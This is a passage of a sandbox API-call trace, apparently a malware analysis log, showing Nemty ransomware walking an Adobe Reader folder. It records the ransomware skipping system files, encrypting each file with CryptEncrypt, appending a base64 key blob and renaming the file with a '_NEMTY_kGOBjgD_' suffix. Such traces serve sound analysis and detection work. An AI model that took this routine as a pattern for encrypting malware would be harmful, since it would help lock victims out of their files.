pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.834] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.834] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.834] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="SwNDMAVVK+DERMe9SCEsNt0VbWNSe5B/pkVQKoGJkeqLuscDBuQvcClmR9A03tMw\r\nVpdQFgYgyqVakZjiLDZCtFwtxCaSN14V35xgTo4bFeAAPVEgZb47EQkcBy0QcOdt\r\nnpNaS5o5VM0/8FCVjUS2StHz8cXiymEyBbxJgiOkPjDYTP2m+jhG2XfizEO2A3Uy\r\n20rjYGUkMqJRgDo33OHACPlvk1rNBzR9dZvXFGUVk7NvZZ5NxE/xcu+llX/51k1l\r\nAgRLFI6XtQVmndGslLYtRjNZ2WGhcs9scv+mA33fI2UcBlxHX/Yy3Cr+OldVa9C+\r\nzpPw3a0dG0cJP0ne1I8tng==\r\n", pcchString=0x653e91c) returned 1 [0170.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.834] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.835] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.835] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.835] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.837] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.837] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.837] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.837] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.837] CloseHandle (hObject=0x254) returned 1 [0170.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.838] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.euq._nemty_kgobjgd_")) returned 1 [0170.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.838] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.FRA", cAlternateFileName="")) returned 1 [0170.838] lstrcmpiW (lpString1="nppdf32.FRA", lpString2=".") returned 1 [0170.838] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="..") returned 1 [0170.838] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="...") returned 1 [0170.838] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="windows") returned -1 [0170.838] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="$RECYCLE.BIN") returned 1 [0170.838] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="rsa") returned -1 [0170.838] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="NTDETECT.COM") returned -1 [0170.838] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="ntldr") returned -1 [0170.838] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="MSDOS.SYS") returned 1 [0170.838] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="IO.SYS") returned 1 [0170.838] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="boot.ini") returned 1 [0170.839] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="boot.ini") returned 1 [0170.839] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0170.839] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="ntuser.dat") returned -1 [0170.839] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="desktop.ini") returned 1 [0170.839] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="CONFIG.SYS") returned 1 [0170.839] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="RECYCLER") returned -1 [0170.839] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="BOOTSECT.BAK") returned 1 [0170.839] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="bootmgr") returned 1 [0170.839] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="programdata") returned -1 [0170.839] lstrcmpiW (lpString1="nppdf32.FRA", lpString2="appdata") returned 1 [0170.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.FRA", lpUsedDefaultChar=0x0) returned 11 [0170.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.FRA", lpUsedDefaultChar=0x0) returned 11 [0170.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.FRA", lpUsedDefaultChar=0x0) returned 11 [0170.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.FRA", lpUsedDefaultChar=0x0) returned 11 [0170.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.839] Sleep (dwMilliseconds=0x5) [0170.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x197b17b0, dwHighDateTime=0x1d561e8)) [0170.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x197b17b0, dwHighDateTime=0x1d561e8)) [0170.849] GetLastError () returned 0x0 [0170.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.849] GetLastError () returned 0x0 [0170.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.849] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.849] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.849] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.849] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="/g8XIdbAwh+Ub0UpOFpwHr/ivFg+GxhkiLQq8CcSQTHcFGLJxGWvCZ+oKPNEBOsq\r\njeloxu7hQ5bWYvwUTt3+xblEHR2OFzd/rNafubm3Jp2Mrp3PfPk1SnVK34GNL6kL\r\ngp3m6AZJWgSGokhj/bfGT2LPjLryYCUP+IRG46jF6kxowgQA3HMJ6oZYLeHrKXCM\r\nqX3blw05SDjPo4O3/LHPjj1NZ5X0HXjZTYJOFMAxTsfsuMBwsrpzYZcQQTIz9xuA\r\n3YocShAGfOe/lhCNLV52VKixNejdRYTR82VUDtI9z0vbWRBiToIHeRqHS9tMBOKL\r\nmh/zYVVX11QgZTGFDwAnAA==\r\n", pcchString=0x653e91c) returned 1 [0170.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.850] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.850] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=8192) returned 1 [0170.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0170.850] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.850] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x2000, lpOverlapped=0x0) returned 1 [0170.852] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.852] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x2000, lpOverlapped=0x0) returned 1 [0170.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.852] SetFilePointer (in: hFile=0x254, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0170.852] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.852] CloseHandle (hObject=0x254) returned 1 [0170.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.853] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.fra._nemty_kgobjgd_")) returned 1 [0170.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.853] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.HRV", cAlternateFileName="")) returned 1 [0170.853] lstrcmpiW (lpString1="nppdf32.HRV", lpString2=".") returned 1 [0170.853] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="..") returned 1 [0170.853] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="...") returned 1 [0170.853] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="windows") returned -1 [0170.853] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="$RECYCLE.BIN") returned 1 [0170.854] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="rsa") returned -1 [0170.854] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="NTDETECT.COM") returned -1 [0170.854] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="ntldr") returned -1 [0170.854] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="MSDOS.SYS") returned 1 [0170.854] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="IO.SYS") returned 1 [0170.854] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="boot.ini") returned 1 [0170.854] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="boot.ini") returned 1 [0170.854] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0170.854] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="ntuser.dat") returned -1 [0170.854] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="desktop.ini") returned 1 [0170.854] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="CONFIG.SYS") returned 1 [0170.854] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="RECYCLER") returned -1 [0170.854] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="BOOTSECT.BAK") returned 1 [0170.854] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="bootmgr") returned 1 [0170.854] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="programdata") returned -1 [0170.854] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="appdata") returned 1 [0170.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HRV", lpUsedDefaultChar=0x0) returned 11 [0170.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HRV", lpUsedDefaultChar=0x0) returned 11 [0170.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HRV", lpUsedDefaultChar=0x0) returned 11 [0170.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HRV", lpUsedDefaultChar=0x0) returned 11 [0170.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.854] Sleep (dwMilliseconds=0x5) [0170.864] GetSystemTimeAsFileTime (in: 